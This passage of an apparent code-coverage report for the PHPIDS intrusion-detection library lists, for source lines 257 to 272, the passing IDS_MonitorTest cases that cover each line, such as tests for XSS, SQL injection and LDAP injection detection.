class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel257": { - "header": "36 tests cover line 257", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel259": { - "header": "36 tests cover line 259", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel260": { - "header": "33 tests cover line 260", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel261": { - "header": "33 tests cover line 261", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel262": { - "header": "33 tests cover line 262", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel263": { - "header": "33 tests cover line 263", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel264": { - "header": "33 tests cover line 264", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel266": { - "header": "33 tests cover line 266", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel267": { - "header": "33 tests cover line 267", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel268": { - "header": "33 tests cover line 268", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel269": { - "header": "36 tests cover line 269", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel270": { - "header": "36 tests cover line 270", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel271": { - "header": "2 tests cover line 271", - "body": "<ul><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel272": { - "header": "2 tests cover line 272", - "body": 